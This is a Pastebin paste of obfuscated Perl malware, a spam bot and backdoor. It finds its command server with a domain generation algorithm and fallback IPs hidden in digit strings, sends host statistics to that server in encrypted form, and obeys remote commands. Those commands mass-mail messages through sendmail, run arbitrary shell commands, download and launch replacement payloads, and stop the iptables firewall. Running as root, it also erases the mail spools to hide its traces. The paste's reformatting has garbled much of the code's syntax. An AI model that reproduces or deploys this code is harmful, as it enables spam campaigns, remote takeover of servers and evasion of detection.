API tools faq
paste
Guest User

Untitled

a guest
Nov 27th, 2012
163
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 23.38 KB | None | 0 0
raw download clone embed print report diff
  1. # !/usr/bin / perl
  2.  
  3. use strict;
  4. use Socket;
  5. use CGI;
  6. srand(time ^ $$ ^ unpack "%L*", `ps axww | gzip`);
  7. $SIG {
  8.    PIPE
  9. } = sub {
  10.    die "Broken pipe"
  11. };
  12. $ENV {
  13.    PATH
  14. } = $ENV {
  15.    PATH
  16. }.":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin";
  17. my $b80g = ($ < == 0);
  18. my $cj65 = ((getpwuid($ >)) [0]);
  19. my $g6ho = 0;
  20. $g6ho = length($ARGV[0]) if ($ARGV[0] = ~ /^ + $ /);
  21. my $hahk = int(rand(2147483647));
  22. my ($hamo, $ifib, $alf3);
  23. my $ipnl = 443;
  24. my $k0ob = "/b/index.php";
  25. my $g1b1 = '/tmp/...';
  26. my $c087 = 0;
  27. my $i5fg = 0;
  28. my $jb0l = 0;
  29. my $ke9i = 0;
  30. my $b8mj = 0;
  31. my $aj11 = 0;
  32. my $gbed = 50;
  33. my $p = "1234567890";
  34. my $e2c2;
  35. my $jap8 = "sendmail";
  36. my $epm2;
  37. my $heel;
  38. my %bj1c;
  39. my $g85a = 36;
  40. $bj1c {
  41.    'd_v'
  42. } = $g85a;
  43. $bj1c {
  44.    'd_w'
  45. } = $cj65;
  46. $bj1c {
  47.    'd_rb'
  48. } = $g6ho;
  49. $bj1c {
  50.    'd_pi'
  51. } = $$;
  52. $bj1c {
  53.    'd_iv'
  54. } = $];
  55. sub aan {
  56. print '['.localtime().'] ';
  57. print @_;
  58. }
  59. sub aai {
  60. return 0 if !open(SIGNFH, ">$g1b1");
  61. return 0 if !flock(SIGNFH, 2 | 4);
  62. return 1;
  63. }
  64. sub ab1 {
  65. my $b2oc = shift;
  66. my $bff9 = shift;
  67. my $c91c = shift;
  68. my $i3hb = shift;
  69. my $c9p7 = shift;
  70. my $he4e = $b2oc - > {
  71.    'name'
  72. };
  73. my $cbmm = $b2oc - > {
  74.    'addr'
  75. };
  76. my $eblf = ab4(4);
  77. $i3hb = ~s / \[\[firstname \]\] / $he4e / g;
  78. $i3hb = ~s / \[\[id \]\] / $cbmm / g;
  79. $i3hb = ~s / \[\[count \]\] / $c9p7 / g;
  80. $i3hb = ~s / \[\[rand \]\] / $eblf / g;
  81. $c91c = ~s / \[\[firstname \]\] / $he4e / g;
  82. $c91c = ~s / \[\[id \]\] / $cbmm / g;
  83. $c91c = ~s / \[\[count \]\] / $c9p7 / g;
  84. $c91c = ~s / \[\[rand \]\] / $eblf / g;
  85. for (my $i = 0; $i < 10; $i++) {
  86.    my $ipj3 = $b2oc - > {
  87.        'params'
  88.    } -> [$i];
  89.    $i3hb = ~s / \[\[param$i \]\] / $ipj3 / g;
  90.    $c91c = ~s / \[\[param$i \]\] / $ipj3 / g;
  91. }
  92. my $i1mc = "From: $bff9|To: ".($he4e ? "\"$he4e\" <$cbmm>" : "$cbmm")."|Subject: $c91c";
  93. eval {
  94.    open SENDMAIL,
  95.    "| $jap8 -t";
  96.    print SENDMAIL "From: $bff9\n";
  97.    print SENDMAIL "To: ".($he4e ? "\"$he4e\" <$cbmm>" : "$cbmm")."\n";
  98.    print SENDMAIL "Subject: $c91c\n";
  99.    print SENDMAIL "\n" if ($jap8 = ~ / \ / mail /);
  100.    print SENDMAIL "$i3hb";
  101.    close SENDMAIL;
  102. };
  103. if ($@) {
  104.    my $cje4 = $@;
  105.    chomp $cje4;
  106.    return 0;
  107. }
  108. return 1;
  109. }
  110. sub aal {
  111. my $ed6i = shift;
  112. my $khnp = shift;
  113. my @bfgb = @$khnp;
  114. my $bff9 = shift @bfgb;
  115. my $c91c = shift @bfgb;
  116. my $i3hb;
  117. while (scalar(@bfgb)) {
  118.    my $k8nc = shift @bfgb;
  119.    if ($k8nc eq $ed6i) {
  120.        last;
  121.    }
  122.    $i3hb. = $k8nc."\n";
  123. }
  124. my @g1mb;
  125. while (scalar(@bfgb)) {
  126.    my $b2oc = {};
  127.    my $k8nc = shift @bfgb;
  128.    my($h4pj, $j63f, @f9hl) = split / \t /, $k8nc;
  129.    if (!$j63f) {
  130.        $j63f = $h4pj;
  131.        $h4pj = undef;
  132.    }
  133.    $b2oc - > {
  134.        'addr'
  135.    } = $j63f;
  136.    $b2oc - > {
  137.        'name'
  138.    } = $h4pj if $h4pj;
  139.    $b2oc - > {
  140.        'params'
  141.    } = \@f9hl if (scalar(@f9hl));
  142.    push @g1mb, $b2oc if ($b2oc - > {
  143.        'addr'
  144.    });
  145. }
  146. for (my $i = 0; $i < scalar(@g1mb);) {
  147.    if (ab1($g1mb[$i], $bff9, $c91c, $i3hb, $i)) {
  148.        $jb0l++;
  149.        $ke9i++;
  150.    } else {
  151.        $b8mj++;
  152.        $aj11++;
  153.    }
  154.    $i++;
  155. }
  156. if ($b80g) {
  157.    `rm - f / var / mail / root / var / spool / mail / root / var / mail / mail / var / spool / mail / mail`;
  158.            }
  159.            `rm - f ~ / dead.letter`;
  160.        }
  161.        sub aaf {
  162.            my $k2fk = sprintf($heel." | grep -ci '<html'", "https://accounts.google.com/ServiceLogin?service=mail");
  163.            my($fn0i) = `$k2fk`;
  164.            chomp $fn0i;
  165.            return $fn0i;
  166.        }
  167.        sub ab9 {
  168.            if ($epm2 eq "wget") {
  169.                my($clp5) = `wget - - version | head - n1 | grep - o "\\.[0-9]*" | grep - o "[0-9]*\$" `;
  170.                chomp $clp5;
  171.                $clp5 = int($clp5);
  172.                $heel = "wget -q -O - -t 1 -T 60 ";
  173.                $heel. = "--no-check-certificate " if ($clp5 > 9);
  174.                $heel. = '"%s"';
  175.            }
  176.            elsif($epm2 eq "curl") {
  177.                $heel = 'curl -s -k --max-time 60 "%s"';
  178.            }
  179.            elsif($epm2 eq "fetch") {
  180.                $heel = 'fetch -T 60 -q -o - "%s"';
  181.            }
  182.        }
  183.        sub ab2 {
  184.            my @ae1n = ('wget', 'curl', 'fetch');
  185.            undef $epm2;
  186.            foreach my $i6ff(@ae1n) {
  187.                if ($e2c2) {
  188.                    my $gd49 = `which $i6ff`;
  189.                    next if ($gd49 !~ /^ \ //); }
  190.                    $epm2 = $i6ff;
  191.                    ab9();
  192.                    if (!aaf()) {
  193.                        undef $epm2;
  194.                        next;
  195.                    }
  196.                    last;
  197.                }
  198.                if (!$epm2) {
  199.                    $epm2 = "wget";
  200.                    ab9();
  201.                }
  202.                $bj1c {
  203.                    'd_br'
  204.                } = $epm2;
  205.            }
  206.            my $d5gb = 0;
  207.            sub ab7 {
  208.                return if (time() - $d5gb < 3600);
  209.                $d5gb = time();
  210.                $e2c2 = `which which | grep - v alias | sed - e 's/^[[:space:]]*//' `;
  211.                ab2();
  212.                ab3();
  213.                aad() if ($b80g);
  214.                my $bgen = `ps - xo command | grep - v grep | grep postfix / master | wc - l | sed - e 's/^[[:space:]]*//' `;
  215.                chomp $bgen;
  216.                if ($bgen) {
  217.                    $bj1c {
  218.                        'd_ma'
  219.                    } = 'postfix';
  220.                    if ($e2c2) {
  221.                        $bgen = `which sendmail.postfix`;
  222.                        chomp $bgen;
  223.                        $jap8 = $bgen
  224.                        if ($bgen = ~ /^ \ /. * ab1.postfix$ /);
  225.                    }
  226.                } else {
  227.                    $bj1c {
  228.                        'd_ma'
  229.                    } = 'sendmail';
  230.                }
  231.                $bj1c {
  232.                    'd_mc'
  233.                } = $jap8;
  234.            }
  235.            sub aad {
  236.                my @ihm0 = ("postfix", "sendmail");
  237.                foreach my $el22(@ihm0) {
  238.                    my $fmdg = `service $el22 status`;
  239.                    chomp $fmdg;
  240.                    if ($fmdg = ~ / running / i) {
  241.                        return $el22;
  242.                    }
  243.                }
  244.                foreach my $el22 (@ihm0) {
  245.                    my $g8p4 = `service $el22 start`;
  246.                    chomp $g8p4;
  247.                    if ($g8p4 = ~ / done / i || $g8p4 = ~ / ok / i) {
  248.                        return $el22;
  249.                    }
  250.                }
  251.                return undef;
  252.            }
  253.            sub ab3 {
  254.                my @gj36 = ('sendmail', 'mailx', 'mail');
  255.                my @g3d3 = ('/etc/', 'cron', '.cpan', '/lib', 'log.d', '/services/', '/cgi-bin/', 'mail-lock', 'mail-unlock', 'mail-touchlock', 'formail', 'traptoemail', 'run-mailcap', 'checksendmail', 'w3mmail.cgi');
  256.                my $j6ll;
  257.                foreach my $gdhm(@gj36) {
  258.                    if ($e2c2) {
  259.                        my $df52 = `which $gdhm`;
  260.                        chomp $df52;
  261.                        if ($df52 = ~ /^ (\ / [^] +) /) {
  262.                            $jap8 = $1;
  263.                            return 1;
  264.                        }
  265.                    }
  266.                    $j6ll = "locate $gdhm | head -n1000";
  267.                    my @jmjh = split / \n /, `$j6ll`;
  268.                    $j6ll = "find /bin/ /sbin/ /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin/ -type f -or -type l | grep $gdhm ";
  269.                    push @jmjh, split / \n /, `$j6ll`;
  270.                    chomp @jmjh;
  271.                    my @e052;
  272.                    foreach my $cf09 (@jmjh) {
  273.                        next if ( - d $cf09);
  274.                        next if (! - x $cf09);
  275.                        next if ($cf09 = ~ / \.so$ /);
  276.                        my $jdlk = 0;
  277.                        foreach my $eob4 (@g3d3) {
  278.                            if ($cf09 = ~ / $eob4 /) {
  279.                                $jdlk = 1;
  280.                                last;
  281.                            }
  282.                        }
  283.                        next if $jdlk;
  284.                        if ($cf09 = ~ / bin \ // && $cf09 =~ /$gdhm$/) { $jap8 = $cf09; return 1; } push (@e052,$cf09); } foreach my $cf09 (@e052) { if ($cf09 =~ /bin\//) { $jap8 = $cf09; return 1; } } foreach my $cf09 (@e052) { if ($cf09 =~ /$gdhm$/) { $jap8 = $cf09; return 1; } } } return 0; } sub aac { my $k8nc = shift; my $geaj = shift;
  285.                        if ($geaj = ~ / ([0 - 9] +) \.([0 - 9] +) \.([0 - 9] +) \.([0 - 9] +) /) {
  286.                            $geaj = ($1 << 24) + ($2 << 16) + ($3 << 8) + ($4);
  287.                        } else {
  288.                            $geaj = int($geaj);
  289.                        }
  290.                        my @ipha;
  291.                        $ipha[0] = ((($geaj & 0 xFF000000) >> 24) + 15) %256;
  292.                        $ipha[1] = ((($geaj & 0 x00FF0000) >> 16) + 13) %256;
  293.                        $ipha[2] = ((($geaj & 0 x0000FF00) >> 8) + 52) %256;
  294.                        $ipha[3] = ((($geaj & 0 x000000FF)) + 71) %256;
  295.                        my $ioi2;
  296.                        for (my $i = 0; $i < length($k8nc);
  297.                        $i++) {
  298.                            my $hec1 = ord(substr ($k8nc, $i, 1));
  299.                            my $d = int($hec1 ^ $ipha[$i%4]);
  300.                            $ioi2. = sprintf("%02x", $d);
  301.                            $ipha[($i + 1) %4] = ($ipha[($i + 1) %4] + $d) %256;
  302.                        }
  303.                        return $ioi2;
  304.                    }
  305.                    sub aah {
  306.                        my $k8nc = shift;
  307.                        my $geaj = shift;
  308.                        if ($geaj = ~ / ([0 - 9] +) \.([0 - 9] +) \.([0 - 9] +) \.([0 - 9] +) /) {
  309.                            $geaj = ($1 << 24) + ($2 << 16) + ($3 << 8) + ($4);
  310.                        } else {
  311.                            $geaj = int($geaj);
  312.                        }
  313.                        my @ipha;
  314.                        $ipha[0] = ((($geaj & 0 xFF000000) >> 24) + 15) %256;
  315.                        $ipha[1] = ((($geaj & 0 x00FF0000) >> 16) + 13) %256;
  316.                        $ipha[2] = ((($geaj & 0 x0000FF00) >> 8) + 52) %256;
  317.                        $ipha[3] = ((($geaj & 0 x000000FF)) + 71) %256;
  318.                        my $ioi2;
  319.                        for (my $i = 0; $i < length($k8nc) / 2;
  320.                        $i++) {
  321.                            my $hec1 = hex(substr ($k8nc, $i * 2, 2));
  322.                            $ipha[($i + 1) %4] = ($ipha[($i + 1) %4] + $hec1) %256;
  323.                            $ioi2. = chr($hec1 ^ $ipha[$i%4]);
  324.                        }
  325.                        return $ioi2;
  326.                    }
  327.                    sub ab4 {
  328.                        my $jh9k = shift;
  329.                        my @gfe3 = ('a'..'z');
  330.                        my $fpmd;
  331.                        foreach(1.. $jh9k) {
  332.                            $fpmd. = $gfe3[rand @gfe3];
  333.                        }
  334.                        return $fpmd;
  335.                    }
  336.                    sub aak {
  337.                        my $a = shift;
  338.                        my $ioi2 = 0;
  339.                        $ioi2 += (ord(substr($a, 3, 1)) & 0 xFF);
  340.                        $ioi2 += (ord(substr($a, 2, 1)) & 0 xFF) << 8;
  341.                        $ioi2 += (ord(substr($a, 1, 1)) & 0 xFF) << 16;
  342.                        $ioi2 += (ord(substr($a, 0, 1)) & 0 xFF) << 24;
  343.                        return $ioi2;
  344.                    }
  345.                    sub aba {
  346.                        my $hamo = shift;
  347.                        my $jel7 = inet_aton($hamo);
  348.                        return(defined $jel7) ? inet_ntoa($jel7) : undef;
  349.                    }
  350.                    sub ab8 {
  351.                        my $g6hd = shift;
  352.                        my $i6ff = sprintf($heel, $g6hd);
  353.                        my @ioi2 = `$i6ff`;
  354.                        chomp @ioi2;
  355.                        return @ioi2;
  356.                    }
  357.                    sub aag {
  358.                        my $g6hd = shift;
  359.                        my $b6o8 = shift;
  360.                        if ($epm2 eq "wget") {
  361.                            `wget - q "$g6hd" - O "$b6o8" `;
  362.                        }
  363.                        elsif($epm2 eq "curl") {
  364.                            `curl "$g6hd" > "$b6o8" `;
  365.                        }
  366.                        elsif($epm2 eq "fetch") {
  367.                            `fetch - o "$b6o8" "$g6hd" `;
  368.                        }
  369.                    }
  370.                    my $cben = 0;
  371.                    my $bidj = 0;
  372.                    my $h843;
  373.                    my @g07h = ();
  374.                    sub ab6 {
  375.                        my $ifib = $ipnl;
  376.                        undef $h843;
  377.                        return($h843, $ifib) if (aap($g07h[$cben], $ifib));
  378.                        my $b7ha = $cben;
  379.                        for ($cben = 0; $cben < 10; $cben++) {
  380.                            if ($cben == 4) {
  381.                                my @p = split '',
  382.                                $p;
  383.                                my $h39c = $p[6];
  384.                                $h39c = "$h39c$h39c.6$h39c.";
  385.                                $h39c. = $p[7].$p[9];
  386.                                $h39c. = '.'.$p[2].$p[0];
  387.                                return($h39c, $ifib) if (aae($h39c, $ifib));
  388.                            }
  389.                            if ($cben == 5) {
  390.                                my @p = split '',
  391.                                $p;
  392.                                my $h39c = $p[7].$p[4];
  393.                                $h39c. = '.'.$p[1].$p[0].$p[3];
  394.                                $h39c. = '.'.$p[7].$p[9];
  395.                                $h39c. = '.'.$p[3];
  396.                                return($h39c, $ifib) if (aae($h39c, $ifib));
  397.                            }
  398.                            next if ($b7ha == $cben);
  399.                            return($h843, $ifib) if (aap($g07h[$cben], $ifib));
  400.                        }
  401.                        my @p = split '', $p;
  402.                        my $h39c = $p[1].$p[9];
  403.                        $h39c = $h39c.$p[7].'.'.$h39c;
  404.                        $h39c = '.'.$h39c;
  405.                        $h39c = '.'.$p[1].$p[2].$h39c;
  406.                        $h39c = $p[8].$p[3].$h39c;
  407.                        return($h39c, $ifib) if (aae($h39c, $ifib));
  408.                        $bidj++;
  409.                        return undef;
  410.                    }
  411.                    my $jc4b = 0;
  412.                    sub aaj {($hamo, $ifib) = ab6();
  413.                        $jc4b = time() if ($hamo);
  414.                        $bj1c {
  415.                            'd_fd'
  416.                        } = $hamo;
  417.                        $bj1c {
  418.                            'd_fi'
  419.                        } = $alf3;
  420.                        $bj1c {
  421.                            'd_fp'
  422.                        } = $ifib;
  423.                    }
  424.                    sub ab0 {
  425.                        my($cpgi, $c89b) = (14400, 3600);
  426.                        return if (time() - $jc4b < $cpgi);
  427.                        my($e2n0, $d6pa, $b7l7) = ($hamo, $ifib, $alf3);
  428.                        aaj();
  429.                        return if ($hamo && $ifib && $alf3);
  430.                        ($hamo, $ifib, $alf3) = ($e2n0, $d6pa, $b7l7);
  431.                        $jc4b = time() - ($cpgi - $c89b);
  432.                    }
  433.                    sub aap {
  434.                        my $hamo = shift;
  435.                        my $ifib = shift;
  436.                        my $e905 = "www.".$hamo;
  437.                        my $edod = aak(inet_aton($e905));
  438.                        if ($edod) {
  439.                            my $iph5 = ab4(10).".".$hamo;
  440.                            my $c7g3 = aak(inet_aton($iph5));
  441.                            if ($c7g3 && ($c7g3 == $edod + 1)) {
  442.                                return aae($iph5, $ifib);
  443.                            }
  444.                        }
  445.                        return 0;
  446.                    }
  447.                    sub aae {
  448.                        $h843 = shift;
  449.                        my $ifib = shift;
  450.                        my $io8b = int(rand(2147483647));
  451.                        my $geaj = int(rand(2147483647));
  452.                        $alf3 = aba($h843);
  453.                        my $e0kj = $io8b."*".$hahk."*".$geaj;
  454.                        my $b946 = aac($e0kj, $alf3);
  455.                        my $g6hd = "https://$h843:$ifib/$k0ob?id=$b946&check=1";
  456.                        my @bfgb = ab8($g6hd);
  457.                        for (my $i = 0; $i < scalar(@bfgb);
  458.                        $i++) {
  459.                            $bfgb[$i] = aah($bfgb[$i], $geaj);
  460.                        }
  461.                        my $jfcn = shift @bfgb;
  462.                        if ($jfcn = ~ /^ SUCCESS$ /) {
  463.                            $bidj = 0;
  464.                            return 1;
  465.                        }
  466.                        return 0;
  467.                    }
  468.                    sub ab5 {
  469.                        my $geaj = shift;
  470.                        my $io8b = shift;
  471.                        my $c7bm;
  472.                        foreach my $f (keys %bj1c) {
  473.                            if ($f = ~ /^ d_(. +) $ /) {
  474.                                my $he4e = $1;
  475.                                $c7bm. = ($c7bm ? "|" : "")."$he4e=".$bj1c {
  476.                                    $f
  477.                                };
  478.                            }
  479.                        }
  480.                        $c7bm = "$io8b*$c7bm" if ($io8b);
  481.                        return aac($c7bm, $geaj);
  482.                    }
  483.                    my $afj0;
  484.                    sub aao {
  485.                        my $fpek = shift || time || 4357;
  486.                        my @a = ();
  487.                        for (1..10000) {
  488.                            use integer;
  489.                            push @a,
  490.                            $fpek & 0 x7fffffff;
  491.                            $fpek *= 69069;
  492.                        }
  493.                        $afj0 = {
  494.                            offset => 0,
  495.                            array => \@a
  496.                        }
  497.                    }
  498.                    sub aam {
  499.                        my $jpnb = shift || 1.0;
  500.                        aao() unless defined $afj0;
  501.                        $afj0 - > {
  502.                            offset
  503.                        } = ($afj0 - > {
  504.                            offset
  505.                        } + 1) % 10000;
  506.                        my $c8i0 = $afj0 - > {
  507.                            offset
  508.                        };
  509.                        my $a = $afj0 - > {
  510.                            array
  511.                        };
  512.                        $$a[$c8i0] = ($$a[($c8i0 - 471) % 10000] ^ $$a[($c8i0 - 1586) % 10000] ^ $$a[($c8i0 - 6988) % 10000] ^ $$a[($c8i0 - 9689) % 10000]);
  513.                        return $$a[$c8i0] * $jpnb / (2 ** 31);
  514.                    }
  515.                    sub aab {
  516.                        my $jh9k = 10;
  517.                        my @gfe3 = ('a'..'z');
  518.                        aao(123987);
  519.                        my $fpmd;
  520.                        for (my $i = -15; $i < $gbed; $i++) {
  521.                            $fpmd = "";
  522.                            foreach(1.. $jh9k) {
  523.                                $fpmd. = $gfe3[int(aam(scalar(@gfe3)))];
  524.                            }
  525.                            if ($i >= 0) {
  526.                                my $fhf8 = $fpmd.".info";
  527.                                push @g07h,
  528.                                $fhf8;
  529.                            }
  530.                        }
  531.                    }
  532.                    if (!aai()) {
  533.                        exit;
  534.                    }
  535.                    aab();
  536.                    my $iib6 = 0;
  537.                    while (1) {
  538.                        my $jfcn;
  539.                        my @bfgb;
  540.                        ab7();
  541.                        aaj() if (!$hamo || !$ifib || !$alf3);
  542.                        ab0();
  543.                        if (!$hamo || !$ifib || !$alf3) {
  544.                            if ($bidj >= 24) {
  545.                                last;
  546.                            }
  547.                            sleep 3600;
  548.                            next;
  549.                        }
  550.                        my $io8b = int(rand(2147483647));
  551.                        my $c74e = int(rand(2147483647));
  552.                        my $geaj = int(rand(2147483647));
  553.                        my $e0kj = $io8b."*".$hahk."*".$geaj;
  554.                        my $b946 = aac($e0kj, $alf3);
  555.                        my $g6hd = "https://$alf3:$ifib/$k0ob?id=$b946";
  556.                        $g6hd. = "&sent=$jb0l";
  557.                        $g6hd. = "&notsent=$b8mj";
  558.                        $g6hd. = "&unknown=".CGI :: escape($c087) if ($c087);
  559.                        $g6hd. = "&testsend=1" if ($i5fg);
  560.                        $g6hd. = "&stat=".ab5($alf3, $c74e);
  561.                        @bfgb = ab8($g6hd);
  562.                        for (my $i = 0; $i < scalar(@bfgb);
  563.                        $i++) {
  564.                            $bfgb[$i] = aah($bfgb[$i], $geaj);
  565.                        }
  566.                        $jfcn = shift @bfgb;
  567.                        if ($jfcn) {
  568.                            $iib6 = 0;
  569.                            $jb0l = 0;
  570.                            $b8mj = 0;
  571.                            $i5fg = 0;
  572.                            $c087 = 0;
  573.                        } else {
  574.                            $iib6++;
  575.                            if ($iib6 > 3) {
  576.                                $iib6 = 0;
  577.                                undef($hamo);
  578.                                undef($alf3);
  579.                                undef($ifib);
  580.                            }
  581.                            $jfcn = "SLEEP 60";
  582.                        }
  583.                        if ($jfcn = ~ /^ SLEEP ([0 - 9] +) $ /) {
  584.                            sleep $1;
  585.                            next;
  586.                        }
  587.                        elsif ($jfcn = ~ /^ RELOAD (. *) $ /) {
  588.                            aag($1, "/tmp/ ");
  589.                            close(SIGNFH);
  590.                            system('cd /tmp; nohup perl " " "   " &');
  591.                            sleep 5;
  592.                            `rm - f "/tmp/ " / tmp / nohup.out`;
  593.                            last;
  594.                        }
  595.                        elsif ($jfcn = ~ /^ KILL$ /) {
  596.                            last;
  597.                        }
  598.                        elsif ($jfcn = ~ /^ SEND ([a - zA - Z0 - 9] +) $ /) {
  599.                            aal($1, \@bfgb);
  600.                            undef @bfgb;
  601.                            sleep 1;
  602.                            next;
  603.                        }
  604.                        elsif ($jfcn = ~ /^ TESTSEND ([a - zA - Z0 - 9] +) $ /) {
  605.                            aal($1, \@bfgb);
  606.                            undef @bfgb;
  607.                            $i5fg = 1;
  608.                            sleep 1;
  609.                            next;
  610.                        }
  611.                        elsif ($jfcn = ~ /^ EXECUTE (. *) $ /) {
  612.                            qx($1);
  613.                            next;
  614.                        }
  615.                        elsif ($jfcn = ~ /^ START SENDMAIL$ /) {
  616.                            `service sendmail start`;
  617.                            next;
  618.                        }
  619.                        elsif ($jfcn = ~ /^ STOP IPTABLES$ /) {
  620.                            `service iptables stop`;
  621.                            next;
  622.                        }
  623.                        $c087 = $jfcn;
  624.                        sleep 30;
  625.                        if (!aae($hamo, $ifib)) {
  626.                            undef($hamo);
  627.                            undef($alf3);
  628.                            undef($ifib);
  629.                        }
  630.                    }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!